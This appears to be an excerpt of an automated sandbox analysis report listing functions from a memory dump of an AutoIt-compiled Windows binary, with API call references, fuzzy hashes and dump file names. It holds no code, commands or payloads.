Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: a96ac457dfc14454d95d99943f3e3c8f054f91143dc13c2dbac5be00cae7abc7
Instruction ID: 43b4c6c5b228ffa32a6016c4ecd1b9286e2b3a41a406593a17c48e6c3f224d0b
Opcode Fuzzy Hash: a96ac457dfc14454d95d99943f3e3c8f054f91143dc13c2dbac5be00cae7abc7
Instruction Fuzzy Hash: CB31C371448304AAD725EB30EC45BEBB7E8AF85714F10692AF6A9A21D1DB709648C7C3

Function 00E5FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00E60668

Part of subcall function 00E632A4: RaiseException.KERNEL32(?,?,?,00E6068A,?,00F11444,?,?,?,?,?,?,00E6068A,00E41129,00F08738,00E41129), ref: 00E63304

__CxxThrowException@8.LIBVCRUNTIME ref: 00E60685

Strings

Unknown exception, xrefs: 00E60692

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: cafce3833986718dd43bc58f3fbebe3f278bc835fd5e654393d9dc41be1dcee0
Instruction ID: 9585e581713404c449f4be6c813168585c34981d32777ec502192bf1911aa1d0
Opcode Fuzzy Hash: cafce3833986718dd43bc58f3fbebe3f278bc835fd5e654393d9dc41be1dcee0
Instruction Fuzzy Hash: 6BF0C23498020D77CB00BAB4FC56D9E77BC5E403D4B606531F914B69E2EF71DA6AC681

Function 00E410F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00E41BF4
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00E41BFC
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00E41C07
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00E41C12
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00E41C1A
Part of subcall function 00E41BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00E41C22

Part of subcall function 00E41B4A: RegisterWindowMessageW.USER32(00000004,?,00E412C4), ref: 00E41BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00E4136A
OleInitialize.OLE32 ref: 00E41388
CloseHandle.KERNEL32(00000000,00000000), ref: 00E824AB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 51fdbf469deb4705ee23785a84b54887528a7636cd9c92a4c6d61db35956947d
Instruction ID: e58b9c5764e5d69171d959777851b6670a220d84d5ebc0884d94e53f86604e78
Opcode Fuzzy Hash: 51fdbf469deb4705ee23785a84b54887528a7636cd9c92a4c6d61db35956947d
Instruction Fuzzy Hash: A471BBB49122098EC784DF7ABD556D53AE2FBC939431AD22ED30AE7362EB304445EF44

Function 00EAC161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E43923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00E43A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00EAC259
KillTimer.USER32(?,00000001,?,?), ref: 00EAC261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00EAC270

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: cbd2ff1097e30652fa87f7aa99cd8e4ab7a7d8e1f38dc78b8bf987a221fe8734
Instruction ID: b565689ebf197cf5257d92185ecabf813d0052e54c4c772ddfbd0071801f4037
Opcode Fuzzy Hash: cbd2ff1097e30652fa87f7aa99cd8e4ab7a7d8e1f38dc78b8bf987a221fe8734
Instruction Fuzzy Hash: 2831C8709047446FEB328F7498557E7BBEC9B1B308F10149ED2DAB7251D3746A84CB51

Function 00E786AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,00E785CC,?,00F08CC8,0000000C), ref: 00E78704
GetLastError.KERNEL32(?,00E785CC,?,00F08CC8,0000000C), ref: 00E7870E
__dosmaperr.LIBCMT ref: 00E78739

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: c5426aafde7d1d654531b9aab214a32cd39bbbf51854d5e806b63d8a3c519b17
Instruction ID: fe38efb050363c26f1b2fad7727bbeae81b59a9e53679cfb4daf2084a1714933
Opcode Fuzzy Hash: c5426aafde7d1d654531b9aab214a32cd39bbbf51854d5e806b63d8a3c519b17
Instruction Fuzzy Hash: 31016F33A4512036D62462746A4E77E27868BA177CF35E11AF80CFB0E2DEE08C818650

Function 00E4DB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00E4DB7B
DispatchMessageW.USER32(?), ref: 00E4DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E4DB9F
Sleep.KERNELBASE(0000000A), ref: 00E4DBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00E91CC9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 781447b9b8672ff799139672fc3787231982218bd4c0d38cfd7c09c9f81eae0e
Instruction ID: 1cb1354de8ce03664900e8ff5a34b0bd74cdd4c7ac35afbd30605cde66bae923
Opcode Fuzzy Hash: 781447b9b8672ff799139672fc3787231982218bd4c0d38cfd7c09c9f81eae0e
Instruction Fuzzy Hash: D5F05E306093459BEB34CB71AC49FEA73A8EB44354F105A1AE61AA30C0DB30A488DB15

Function 00E51310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00E517F6

Strings

CALL, xrefs: 00E517C6

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 28125f3a1f97cb9cad72ffd6336790008a00930e158f4e80073e8b742a080486
Instruction ID: d893a3b025ce0fca4bc95f69c8c699fda6fef6558946729a3cc167d1fae87b6f
Opcode Fuzzy Hash: 28125f3a1f97cb9cad72ffd6336790008a00930e158f4e80073e8b742a080486
Instruction Fuzzy Hash: C922AD706083019FC714DF14C481B6ABBF1BF89315F14A99EF896AB362D771E949CB42

Function 00E42DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00E82C8C

Part of subcall function 00E43AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00E43A97,?,?,00E42E7F,?,?,?,00000000), ref: 00E43AC2

Part of subcall function 00E42DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00E42DC4

Strings

X, xrefs: 00E82C5A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: 5bd599c2ef7b0e7f46c24ab7bdd5236930f9410afb4e9d29cfc7ff0546909ece
Instruction ID: 479c6942daa0bfd4bce743bbbd05c64fa646392d567b3b362ad9662845bf41e6
Opcode Fuzzy Hash: 5bd599c2ef7b0e7f46c24ab7bdd5236930f9410afb4e9d29cfc7ff0546909ece
Instruction Fuzzy Hash: 4921C370A002589FCB01EF94D805BEE7BFCAF48304F009059E609F7281DBB45A49DF61

Function 00E43837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00E43908

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 5e459d0d0f37339c4f2d273174cde342222baad201c1b8ac0134cfba8646a7ff
Instruction ID: 97716a7d7ecfe5a41ad2f6397fcda4e834f256add515142c2c3789f4a56eba31
Opcode Fuzzy Hash: 5e459d0d0f37339c4f2d273174cde342222baad201c1b8ac0134cfba8646a7ff
Instruction Fuzzy Hash: 8831A0B05043058FD720DF34E8857D7BBE4FB49708F00092EF6A9A3280E771AA44DB52

Function 00E5F645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00E5F661
Sleep.KERNEL32(00000000), ref: 00E9F2DE

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: SleepTimetime
String ID:
API String ID: 346578373-0
Opcode ID: 2ebc87946d56c8d6cee828d83202251049b40ee008cdc3cf8dee9e41702418f0
Instruction ID: f0faeba70962be637255110641c31ebaa8c76b4cfa6ad4752cf50143707e94b8
Opcode Fuzzy Hash: 2ebc87946d56c8d6cee828d83202251049b40ee008cdc3cf8dee9e41702418f0
Instruction Fuzzy Hash: 2DF08C31240205AFD310EF79E949BAAB7E9EF85761F00012AE85DE72A0DB70A804CB91

Function 00E4B710 Relevance: 2.1, APIs: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00E4BB4E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 154ce5466e0029befc37fec63465abac1053c0f2f88ad9a5fdd2792242b98614
Instruction ID: 4fff29daffe4fad177b2dcd80671b64822db806816c8d5fd5fb3958053372cb5
Opcode Fuzzy Hash: 154ce5466e0029befc37fec63465abac1053c0f2f88ad9a5fdd2792242b98614
Instruction Fuzzy Hash: 5432CB30A00209DFCF24CF54D894ABEB7B9EF48308F59A059E915BB261C775ED81DB91

Function 00E44ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E44E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00E44EDD,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44E9C
Part of subcall function 00E44E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00E44EAE
Part of subcall function 00E44E90: FreeLibrary.KERNEL32(00000000,?,?,00E44EDD,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44EFD

Part of subcall function 00E44E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00E83CDE,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44E62
Part of subcall function 00E44E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00E44E74
Part of subcall function 00E44E59: FreeLibrary.KERNEL32(00000000,?,?,00E83CDE,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44E87

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 442ea5f61fdbaba31b078ba22307fa562a33ca5ef54573cbd2eadd6ad604f9eb
Instruction ID: 4f4df9f8cf0b26c3a6d5e97de7540f9d8fc96c9bf4e56092e095eb4d8d772e3b
Opcode Fuzzy Hash: 442ea5f61fdbaba31b078ba22307fa562a33ca5ef54573cbd2eadd6ad604f9eb
Instruction Fuzzy Hash: C811E372700305ABCB14BF70EC02FAD77E5AF40B10F20A42EF546BA1D1EE709A499760

Function 00E78402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00E78440

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 785d40759ffc415f27517d2d27ed70a453b7496a4c38f8259153bead06069ea0
Instruction ID: fcb06b9c71d9d634afeaba011a716eba10c105f2fa87694d93f40e85cb711ea8
Opcode Fuzzy Hash: 785d40759ffc415f27517d2d27ed70a453b7496a4c38f8259153bead06069ea0
Instruction Fuzzy Hash: 6F11487190410AAFCB05DF58E9449DE7BF4EF48314F108059F818AB312EA70DA11CBA4

Function 00E75000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00E74C7D: RtlAllocateHeap.NTDLL(00000008,00E41129,00000000,?,00E72E29,00000001,00000364,?,?,?,00E6F2DE,00E73863,00F11444,?,00E5FDF5,?), ref: 00E74CBE

_free.LIBCMT ref: 00E7506C

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: c2d0bff0180f7b1879258287233cc13a5a835d79b891e683464194a5c5254960
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: 5C012B732047045BE3218E65984195AFBE8FB85370F25451DE198A32C0E6706D05C774

Function 00ED29BF Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?,?,?,00ED14B5,?), ref: 00ED2A01

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: f023350e4c6d6da97bcf9e43a728d24dfc625cf32b78d61cf2b1750669998c8b
Instruction ID: 7f03ced42c63b06bb623996e0013cee667e68f8245ce88a96ee8690f41b3e210
Opcode Fuzzy Hash: f023350e4c6d6da97bcf9e43a728d24dfc625cf32b78d61cf2b1750669998c8b
Instruction Fuzzy Hash: A1019E36300A429FD3258A2DC554B263792EBE5318F29E46EC247AB355DB32EC43C7A0

Function 00E6E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: b8eb17cdf11a3998efc85cafae312c082b743952add054f68e96690837f246e0
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: C4F02D36550A1496D7313A75FD05B9E33D89F623B4F105715F525B33D2CB70D80186A6

Function 00E74C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00E41129,00000000,?,00E72E29,00000001,00000364,?,?,?,00E6F2DE,00E73863,00F11444,?,00E5FDF5,?), ref: 00E74CBE

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4815d78b99e4ce387eea17c277b3fc820d4131170b5b9c9076ce4f18075874fb
Instruction ID: fca9cdfb165727252f2019861ed268af999c6c28bfa6431f6343c3dddc3a2784
Opcode Fuzzy Hash: 4815d78b99e4ce387eea17c277b3fc820d4131170b5b9c9076ce4f18075874fb
Instruction Fuzzy Hash: 3EF0B4B1643224A6FB225F62AC05F9AB7C8BF417A4B1DE111F91DBA1D4CB31DC0086A0

Function 00E73820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00F11444,?,00E5FDF5,?,?,00E4A976,00000010,00F11440,00E413FC,?,00E413C6,?,00E41129), ref: 00E73852

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a20f1b2574c87ba4c12b7482f5c2291f7297ea8a2e0b797283ebaddd8ba1f43e
Instruction ID: 3547a153486c303656d93628c8176f9e39d9081420111704cf2ff213a7d929b7
Opcode Fuzzy Hash: a20f1b2574c87ba4c12b7482f5c2291f7297ea8a2e0b797283ebaddd8ba1f43e
Instruction Fuzzy Hash: 84E0E53114122596F7652A77AC00FDA77C8AB427F4F15A222FC1CB65D1CB31DD01B1E2

Function 00E44F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00F11418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00E44F6D

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
